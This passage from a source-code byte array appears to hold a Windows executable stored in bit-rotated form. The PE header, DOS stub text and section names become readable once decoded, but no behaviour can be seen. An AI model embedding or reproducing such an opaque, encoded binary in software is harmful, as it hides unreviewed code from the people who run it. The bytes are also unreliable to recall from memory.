    0x5C, 0x6A, 0xE0, 0x08, 0xCE, 0x18, 0xE0, 0x0C, 0x4C, 0xE2, 0x21, 0xE0, 0x0B, 0x4E, 0x16, 0x20,   
    0x00, 0x52, 0x00, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE2, 0x00, 0x9A, 0x00, 0xCB, 0x00, 0x9B,   
    0x00, 0xA3, 0x00, 0x2B, 0x00, 0x6B, 0x00, 0x92, 0x00, 0x7B, 0x00, 0x7B, 0x00, 0xA3, 0x00, 0xE2,   
    0x00, 0x9B, 0x00, 0xCB, 0x00, 0x9B, 0x00, 0xA3, 0x00, 0x2B, 0x00, 0x6B, 0x00, 0x99, 0x00, 0x91,   
    0x00, 0xE2, 0x00, 0x23, 0x00, 0x93, 0x00, 0x4B, 0x00, 0xB3, 0x00, 0x2B, 0x00, 0x93, 0x00, 0x9B,   
    0x00, 0xE2, 0x00, 0x13, 0x00, 0x2B, 0x00, 0x2B, 0x00, 0x83, 0x00, 0x71, 0x00, 0x9B, 0x00, 0xCB,   
    0x00, 0x9B, 0x00, 0x00, 0x00, 0x6A, 0xD2, 0x84, 0x00, 0x18, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00,   
    0x00, 0xFF, 0xFF, 0x00, 0x00, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x46, 0x00, 0x00, 0x00, 0x70, 0xF8, 0xD5, 0x70, 0x00, 0xA5, 0x48, 0x6E, 0x09, 0xC5, 0x08,   
    0x62, 0x6E, 0x09, 0xA2, 0x43, 0x4B, 0x9B, 0x01, 0x83, 0x93, 0x7B, 0x3B, 0x93, 0x0B, 0x6B, 0x01,   
    0x1B, 0x0B, 0x73, 0x73, 0x7B, 0xA3, 0x01, 0x13, 0x2B, 0x01, 0x93, 0xAB, 0x73, 0x01, 0x4B, 0x73,   
    0x01, 0x22, 0x7A, 0x9A, 0x01, 0x6B, 0x7B, 0x23, 0x2B, 0x71, 0x68, 0x68, 0x50, 0x21, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0xDE, 0x6D, 0xAB, 0x1E, 0xFC, 0x66, 0xD8, 0x84, 0xFC, 0x66, 0xD8,   
    0x84, 0xFC, 0x66, 0xD8, 0x84, 0xFC, 0x66, 0xD0, 0x84, 0x24, 0x66, 0xD8, 0x84, 0xB4, 0xA5, 0x44,   
    0x84, 0xE4, 0x66, 0xD8, 0x84, 0xB4, 0xA5, 0xC4, 0x84, 0xEC, 0x66, 0xD8, 0x84, 0xB4, 0xA5, 0x54,   
    0x84, 0xF4, 0x66, 0xD8, 0x84, 0x92, 0x4B, 0x1B, 0x43, 0xFC, 0x66, 0xD8, 0x84, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0x2A, 0x00,   
    0x00, 0x62, 0x08, 0x28, 0x00, 0xEC, 0x88, 0x6D, 0x6A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x07, 0x00, 0x10, 0x08, 0x58, 0x08, 0x48, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x30, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0xF1, 0x02, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x01, 0x00,   
    0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x30, 0x00, 0x08,   
    0x00, 0x30, 0x00, 0x08, 0x00, 0x30, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00,   
    0x00, 0x00, 0x20, 0x00, 0x00, 0x71, 0x77, 0x00, 0x00, 0x08, 0x00, 0x00, 0x20, 0x00, 0x00, 0x20,   
    0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0x02, 0x00,   
    0x00, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0x00,   
    0x00, 0x25, 0x00, 0x00, 0x00, 0x83, 0x01, 0x00, 0x00, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x71, 0xA3, 0x2B, 0xC3, 0xA3, 0x00, 0x00, 0x00, 0xE5, 0x58, 0x00,   
    0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x43, 0x71, 0x93, 0x23,   
    0x0B, 0xA3, 0x0B, 0x00, 0x00, 0x9E, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x10, 0x00,   
    0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x02, 0x00, 0x00, 0x42, 0x71, 0x23, 0x0B, 0xA3, 0x0B, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00,   
    0x00, 0x00, 0x81, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x46, 0x4A, 0x72, 0x4A,   
    0xA2, 0x00, 0x00, 0x00, 0x00, 0x30, 0x18, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x20, 0x00,   
    0x00, 0x00, 0xA0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x01, 0x00, 0x00, 0x17, 0x71, 0x93, 0x2B, 0x63, 0x7B, 0x1B, 0x00, 0x00, 0x17, 0x00, 0x00,   
    0x00, 0x00, 0x82, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x5C, 0xFF, 0xAA, 0x5C, 0x67, 0x1C, 0x67, 0x81, 0x5C, 0x2A, 0x60,   
    0x82, 0x47, 0xFA, 0x10, 0x00, 0x00, 0x4C, 0x2A, 0x87, 0x5C, 0x6A, 0x87, 0x5C, 0x8A, 0x20, 0x4C,   
    0xAA, 0x67, 0x5C, 0x2A, 0x67, 0x1C, 0x06, 0x81, 0x4C, 0x2A, 0xA7, 0x3E, 0x2A, 0xC7, 0x00, 0x00,   
    0x00, 0x00, 0x3E, 0x2A, 0xE7, 0x00, 0x00, 0x00, 0x00, 0x5C, 0x6A, 0x87, 0x78, 0xB5, 0x88, 0x1C,   
    0xD7, 0x78, 0x78, 0x2C, 0x58, 0x10, 0x00, 0x00, 0x1C, 0xEB, 0x67, 0x00, 0x78, 0x24, 0x08, 0x10,   
    0x00, 0x00, 0x5C, 0x2A, 0x67, 0x78, 0xB5, 0x42, 0x10, 0x2C, 0x4E, 0x78, 0x2C, 0x97, 0x08, 0x00,   
    0x00, 0x5C, 0xAA, 0x67, 0x54, 0x12, 0x50, 0x44, 0x2A, 0x47, 0x04, 0xEB, 0x47, 0x50, 0xA3, 0xC8,   
    0x04, 0xEB, 0x47, 0x60, 0x78, 0x24, 0xC4, 0x00, 0x00, 0x00, 0x04, 0xEB, 0x47, 0x80, 0x78, 0x24,   
    0xC8, 0x08, 0x00, 0x00, 0x4F, 0x56, 0x08, 0x00, 0x00, 0x5C, 0x6A, 0xA7, 0x78, 0xB5, 0x0A, 0x10,   
    0x0E, 0x07, 0xC0, 0x5C, 0xAA, 0xA7, 0x78, 0xB5, 0x52, 0x18, 0x0E, 0x0F, 0x80, 0x18, 0x0E, 0x5C,   
    0xAA, 0xA7, 0x78, 0xB5, 0x52, 0x20, 0x0E, 0x0F, 0x40, 0x18, 0x0E, 0x5C, 0xAA, 0xA7, 0x78, 0xB5,   
    0x52, 0x28, 0x18, 0x0E, 0xCC, 0x4C, 0x2A, 0xC7, 0x4C, 0xAA, 0xE7, 0x5C, 0x2A, 0xC7, 0x5C, 0xAA,   
    0xE7, 0x8D, 0x48, 0x47, 0x5C, 0x40, 0x00, 0x00, 0x4C, 0x2A, 0x07, 0x4C, 0xAA, 0x27, 0x5C, 0xAA,   
    0x27, 0xD9, 0xA8, 0xA0, 0x81, 0x08, 0x00, 0xFB, 0xC8, 0xE3, 0x58, 0x5C, 0x2A, 0x07, 0xD9, 0x28,   
    0x80, 0x81, 0x08, 0x00, 0xBB, 0x60, 0x1C, 0xEB, 0xC7, 0x00, 0xAB, 0x09, 0x1C, 0xEB, 0xE7, 0x00,   
    0xAB, 0xD8, 0x5C, 0x6A, 0xA7, 0x78, 0xB5, 0x88, 0x1C, 0xD7, 0x51, 0xAB, 0x80, 0x5C, 0x2A, 0x67,   
    0x3E, 0x02, 0x60, 0x02, 0x00, 0x00, 0x00, 0x5C, 0x6A, 0xA7, 0x36, 0x08, 0x41, 0x4F, 0x0A, 0x08,   
    0x00, 0x00, 0x5C, 0xAA, 0xA7, 0x78, 0xB5, 0x12, 0x10, 0x0E, 0x07, 0xC0, 0x5C, 0x6A, 0xA7, 0x78,   
    0xB5, 0x8A, 0x18, 0x0E, 0x17, 0x80, 0x18, 0x16, 0x5C, 0x6A, 0xA7, 0x78, 0xB5, 0x8A, 0x20, 0x0E,   
    0x17, 0x40, 0x18, 0x16, 0x5C, 0x6A, 0xA7, 0x78, 0xB5, 0x8A, 0x28, 0x18, 0x16, 0xCC, 0x4C, 0x2A,   
    0xC7, 0x4C, 0xAA, 0xE7, 0x5C, 0x2A, 0xC7, 0x5C, 0xAA, 0xE7, 0x8D, 0x48, 0x47, 0x10, 0x40, 0x00,   
    0x00, 0x4C, 0x2A, 0xC6, 0x4C, 0xAA, 0xE6, 0x5C, 0x2A, 0xE6, 0xD9, 0x28, 0xA0, 0x81, 0x08, 0x00,   
    0xFB, 0xC8, 0xE3, 0x58, 0x5C, 0x6A, 0xC6, 0xD9, 0x68, 0x80, 0x81, 0x08, 0x00, 0xBB, 0x60, 0x1C,   
    0xEB, 0xC7, 0x00, 0xAB, 0x19, 0x1C, 0xEB, 0xE7, 0x00, 0xAB, 0xE8, 0x5C, 0xAA, 0xA7, 0x78, 0xB5,   
    0x10, 0xE9, 0x55, 0x00, 0x00, 0x00, 0xAB, 0x80, 0x5C, 0x6A, 0x67, 0x3E, 0x0A, 0x60, 0x02, 0x00,   
    0x00, 0x00, 0x5C, 0xAA, 0xA7, 0x36, 0x10, 0x45, 0x4F, 0xB5, 0x00, 0x00, 0x00, 0x5C, 0x2A, 0xA7,   
    0x78, 0xB5, 0x02, 0x10, 0x0E, 0x07, 0xC1, 0x5C, 0x6A, 0xA7, 0x78, 0xB5, 0x8A, 0x18, 0x0E, 0x17,   
    0x81, 0x18, 0x16, 0x5C, 0x6A, 0xA7, 0x78, 0xB5, 0x8A, 0x20, 0x0E, 0x17, 0x41, 0x18, 0x16, 0x5C,   
    0x6A, 0xA7, 0x78, 0xB5, 0x8A, 0x28, 0x18, 0x16, 0x5C, 0x6A, 0xA7, 0x78, 0xB5, 0x4A, 0x30, 0x1C,   
    0x0E, 0x01, 0x9E, 0x07, 0x5C, 0xAA, 0xA7, 0x78, 0xB5, 0x52, 0x38, 0x1C, 0x0E, 0xC0, 0x9E, 0x07,   
    0x5C, 0x6A, 0xA7, 0x78, 0xB5, 0x4A, 0x40, 0x1C, 0x0E, 0x80, 0x9E, 0x07, 0x5C, 0xAA, 0xA7, 0x78,   
    0xB5, 0x52, 0x48, 0x1C, 0x0E, 0x40, 0x9E, 0x07, 0xCC, 0x4C, 0x2A, 0xC7, 0x4C, 0xAA, 0xE7, 0x5C,   
    0x2A, 0xC7, 0x5C, 0xAA, 0xE7, 0x8D, 0x48, 0x47, 0x3A, 0x38, 0x00, 0x00, 0x4C, 0x2A, 0x86, 0x4C,   
    0xAA, 0xA6, 0x5C, 0x2A, 0xA6, 0xD9, 0x28, 0xA0, 0x81, 0x08, 0x00, 0xFB, 0xC8, 0xE3, 0x58, 0x5C,   
    0x6A, 0x86, 0xD9, 0x68, 0x80, 0x81, 0x08, 0x00, 0xBB, 0x60, 0x1C, 0xEB, 0xC7, 0x00, 0xAB, 0x19,   
    0x1C, 0xEB, 0xE7, 0x00, 0xAB, 0xE8, 0x5C, 0xAA, 0xA7, 0x78, 0xB5, 0x10, 0xE9, 0x54, 0x00, 0x00,   
    0x00, 0xAB, 0x80, 0x5C, 0x6A, 0x67, 0x3E, 0x0A, 0x60, 0x02, 0x00, 0x00, 0x00, 0x5C, 0xAA, 0xA7,   
    0x36, 0x10, 0x44, 0x1C, 0xE9, 0x40, 0x81, 0x08, 0x00, 0x00, 0xA3, 0x70, 0x5C, 0x2A, 0x60, 0x82,   
    0x5C, 0x6A, 0x40, 0x8A, 0xFF, 0xA8, 0x40, 0x81, 0x08, 0x00, 0x5C, 0x2F, 0xEA, 0x16, 0x40, 0x00,   
    0x66, 0x66, 0x66, 0x66, 0x66, 0x5C, 0xFF, 0xAA, 0x5C, 0x67, 0x8A, 0x5C, 0x2A, 0x40, 0x78, 0xF5,   
    0x42, 0x19, 0x5C, 0xAA, 0x40, 0x78, 0xF5, 0x12, 0x11, 0x1C, 0x06, 0x08, 0xD9, 0x46, 0xF3, 0x01,   
    0x53, 0x00, 0x43, 0xA8, 0xDA, 0x00, 0x00, 0x43, 0x06, 0xC8, 0x08, 0x00, 0x43, 0x84, 0xC8, 0x08,   
    0x00, 0xFF, 0xA8, 0x20, 0x01, 0x08, 0x00, 0x3E, 0x2A, 0xE7, 0x00, 0x00, 0x00, 0x00, 0x5F, 0x38,   
    0x3E, 0x2A, 0xE7, 0x08, 0x00, 0x00, 0x00, 0x5C, 0x6A, 0x40, 0x5C, 0x0A, 0x03, 0x5C, 0x2F, 0xEA,   
    0x16, 0x20, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66,   
    0x66, 0x66, 0x66, 0x66, 0x66, 0x5C, 0xFF, 0xAA, 0x5C, 0x67, 0x1C, 0x67, 0xC1, 0x3E, 0x2A, 0x87,   
    0x00, 0x00, 0x00, 0x00, 0x99, 0x06, 0x33, 0x4C, 0x2A, 0x47, 0x99, 0x4E, 0x4C, 0x6A, 0x57, 0x33,   
    0x4C, 0x6A, 0x77, 0x3E, 0x2A, 0x86, 0x00, 0x00, 0x00, 0x00, 0x99, 0x96, 0x4C, 0xAA, 0xA6, 0x4C,   
    0xAA, 0xC6, 0x4C, 0xAA, 0xE6, 0x4C, 0xAA, 0x07, 0x4C, 0xAA, 0x27, 0x3E, 0x2A, 0x46, 0x00, 0x00,   
    0x00, 0x00, 0x99, 0x06, 0x4C, 0x2A, 0x66, 0x3E, 0x2A, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A,   
    0xE7, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0xA7, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xEB, 0x40, 0x00,   
    0xA3, 0x30, 0x1C, 0xEB, 0x60, 0x00, 0xAB, 0x50, 0xC5, 0x08, 0x00, 0x00, 0x06, 0x4F, 0x50, 0x08,   
    0x00, 0x00, 0x43, 0x82, 0xD0, 0x08, 0x00, 0x6C, 0x6A, 0x47, 0x8A, 0xFF, 0xA8, 0x21, 0x01, 0x08,   
    0x00, 0x3E, 0x2A, 0x86, 0xC0, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0xA6, 0x00, 0x00, 0x00, 0x00, 0x3E,   
    0x2A, 0xE6, 0x02, 0x00, 0x00, 0x00, 0x6C, 0xAA, 0x47, 0x4C, 0xAA, 0xC6, 0x3E, 0x2A, 0x07, 0x00,   
    0x00, 0x00, 0x00, 0x3E, 0x2A, 0x27, 0x00, 0x00, 0x00, 0x00, 0x53, 0x00, 0x53, 0x00, 0x53, 0x02,   
    0x53, 0x08, 0x53, 0x18, 0x43, 0x04, 0x00, 0x00, 0x00, 0x53, 0x00, 0x6C, 0x2A, 0x46, 0x82, 0x6C,   
    0x6A, 0x86, 0x8A, 0x53, 0x18, 0x6C, 0xAA, 0xC7, 0x92, 0xFF, 0xA8, 0x01, 0x01, 0x08, 0x00, 0x4C,   
    0x2A, 0x87, 0x5C, 0x2A, 0x87, 0x0E, 0x47, 0xF0, 0x1C, 0xC7, 0x18, 0xAB, 0xD8, 0x5C, 0x6A, 0x87,   
    0x8A, 0x43, 0x01, 0xD0, 0x08, 0x00, 0x47, 0x25, 0x28, 0x00, 0x00, 0x1C, 0x26, 0x40, 0x5C, 0x2A,   
    0x87, 0x4F, 0x34, 0x00, 0x00, 0x00, 0x5F, 0xE1, 0x53, 0x00, 0x6C, 0xAA, 0xE7, 0x92, 0x53, 0x00,   
    0x0D, 0xC0, 0x01, 0x08, 0x00, 0x5C, 0x40, 0x8A, 0x43, 0x00, 0x00, 0x00, 0x80, 0x5C, 0xAA, 0xC7,   
    0x92, 0xFF, 0xA8, 0xA0, 0x01, 0x08, 0x00, 0x4C, 0x2A, 0x87, 0x5C, 0x2A, 0xC7, 0x82, 0xFF, 0xA8,   
    0x80, 0x01, 0x08, 0x00, 0x5C, 0x6A, 0x87, 0x0E, 0x4F, 0xF0, 0x1C, 0xCF, 0x18, 0xAB, 0x28, 0x5C,   
    0x2A, 0x87, 0x5F, 0x42, 0x5C, 0xAA, 0xE7, 0x5C, 0x12, 0x20, 0x82, 0xFF, 0xA8, 0x60, 0x01, 0x08,   
    0x00, 0x4C, 0x2A, 0xA7, 0x5C, 0x6A, 0xE7, 0xFF, 0xA8, 0x40, 0x01, 0x08, 0x00, 0x1C, 0xEB, 0xA7,   
    0x00, 0xAB, 0xA0, 0x43, 0x87, 0xC8, 0x08, 0x00, 0x47, 0x91, 0x28, 0x00, 0x00, 0x1C, 0x26, 0x20,   
    0xC5, 0x06, 0x00, 0x00, 0x06, 0x5F, 0xA8, 0x5C, 0x6A, 0x40, 0x5C, 0xAA, 0xA7, 0x5C, 0x12, 0x40,   
    0x1C, 0x06, 0x81, 0x3C, 0x40, 0x5C, 0xAA, 0x60, 0x4C, 0x50, 0x99, 0x06, 0x5C, 0x2F, 0xEA, 0x16,   
    0x40, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66,   
    0x66, 0x66, 0x66, 0x66, 0x66, 0x5C, 0xFF, 0xAA, 0x5C, 0x67, 0x1C, 0x67, 0x01, 0x3E, 0x2A, 0xA7,   
    0x00, 0x00, 0x00, 0x00, 0x99, 0x06, 0x4C, 0x2A, 0xC7, 0x53, 0x00, 0x53, 0x00, 0x6C, 0x6A, 0x07,   
    0x8A, 0xFF, 0xA8, 0xA1, 0x01, 0x08, 0x00, 0x6C, 0xAA, 0xA7, 0x92, 0x6C, 0x2A, 0x07, 0x82, 0x6C,   
    0x6A, 0xA0, 0x8A, 0x5C, 0xAA, 0xE0, 0x92, 0x5C, 0x2A, 0x80, 0x82, 0x5C, 0x6A, 0x40, 0x8A, 0x78,   
    0xB5, 0xAA, 0x60, 0x92, 0xFF, 0xA8, 0x81, 0x01, 0x08, 0x00, 0x4C, 0x2A, 0xE7, 0x1C, 0xEB, 0xE7,   
    0x00, 0xAB, 0x38, 0xC5, 0xD4, 0x00, 0x00, 0x06, 0x5F, 0x99, 0x5C, 0xAA, 0xE7, 0x5C, 0x6A, 0x40,   
    0xFF, 0xA8, 0x61, 0x01, 0x08, 0x00, 0x4C, 0x2A, 0x87, 0x0C, 0xEB, 0x87, 0x18, 0x08, 0x00, 0x00,   
    0xAB, 0xC0, 0x53, 0x00, 0x53, 0x00, 0x53, 0x00, 0x53, 0x00, 0x6C, 0x2A, 0x07, 0x82, 0xFF, 0xA8,   
    0x41, 0x01, 0x08, 0x00, 0x5C, 0x6A, 0xA7, 0x4C, 0x6A, 0x87, 0x5C, 0x2A, 0x87, 0x5C, 0x2F, 0xEA,   
    0x16, 0xC0, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66,   
    0x66, 0x66, 0x66, 0x66, 0x66, 0x5C, 0xFF, 0xAA, 0x5C, 0x67, 0x1C, 0x67, 0x03, 0x99, 0x06, 0x33,   
    0x4C, 0x2A, 0xA5, 0x99, 0x4E, 0x4C, 0x6A, 0xB5, 0x33, 0x4C, 0x6A, 0xD5, 0x3E, 0x2A, 0xA6, 0x00,   
    0x00, 0x00, 0x00, 0x99, 0x96, 0x4C, 0xAA, 0xC6, 0x4C, 0xAA, 0xE6, 0x4C, 0xAA, 0x07, 0x4C, 0xAA,   
    0x27, 0x4C, 0xAA, 0x47, 0x3E, 0x2A, 0x45, 0x00, 0x00, 0x00, 0x00, 0x99, 0x06, 0x4C, 0x2A, 0x65,   
    0x3E, 0x2A, 0x87, 0x00, 0x00, 0x00, 0x00, 0x99, 0x4E, 0x4C, 0x6A, 0xA7, 0x3E, 0x2A, 0xE5, 0x00,   
    0x00, 0x00, 0x00, 0x3E, 0x2A, 0x46, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0x26, 0x00, 0x00, 0x00,   
    0x00, 0x3E, 0x2A, 0x66, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x99,   
    0x96, 0x4C, 0xAA, 0xE7, 0x3E, 0x2A, 0x86, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0x06, 0x00, 0x00,   
    0x00, 0x00, 0x3E, 0x2A, 0x87, 0x03, 0xCB, 0xF7, 0xFF, 0x3E, 0x2A, 0xA7, 0xFF, 0xFF, 0xFF, 0xFF,   
    0x6C, 0x2A, 0x87, 0x82, 0x53, 0x00, 0x53, 0x00, 0xFF, 0xA8, 0xA2, 0x01, 0x08, 0x00, 0x3E, 0x2A,   
    0xA6, 0xC0, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0xC6, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0x07, 0x02,   
    0x10, 0x00, 0x00, 0x6C, 0x6A, 0xA5, 0x4C, 0x6A, 0xE6, 0x3E, 0x2A, 0x27, 0x00, 0x00, 0x00, 0x00,   
    0x3E, 0x2A, 0x47, 0x00, 0x00, 0x00, 0x00, 0x43, 0x83, 0xD8, 0x08, 0x00, 0x6C, 0xAA, 0xA5, 0x92,   
    0xFF, 0xA8, 0x21, 0x01, 0x08, 0x00, 0x6C, 0x2A, 0xA6, 0x82, 0xFF, 0xA8, 0x82, 0x01, 0x08, 0x00,   
    0x4C, 0x2A, 0x46, 0x43, 0x87, 0xD0, 0x08, 0x00, 0x6C, 0x6A, 0xA5, 0x8A, 0xFF, 0xA8, 0x21, 0x01,   
    0x08, 0x00, 0x6C, 0xAA, 0xA6, 0x92, 0x53, 0x10, 0x6C, 0x2A, 0xE5, 0x82, 0xFF, 0xA8, 0x62, 0x01,   
    0x08, 0x00, 0x4C, 0x2A, 0x46, 0x1C, 0xEB, 0x46, 0x00, 0xE3, 0xA1, 0x43, 0x07, 0xD0, 0x08, 0x00,   
    0x6C, 0x6A, 0xA5, 0x8A, 0xFF, 0xA8, 0x21, 0x01, 0x08, 0x00, 0x53, 0xB0, 0x43, 0x06, 0xD0, 0x08,   
    0x00, 0x53, 0x08, 0x53, 0x00, 0x6C, 0xAA, 0xA5, 0x92, 0x5C, 0x2A, 0xE5, 0x82, 0xFF, 0xA8, 0x42,   
    0x01, 0x08, 0x00, 0x5C, 0x6A, 0xE5, 0x8A, 0xFF, 0xA8, 0x80, 0x01, 0x08, 0x00, 0x5F, 0x28, 0x4F,   
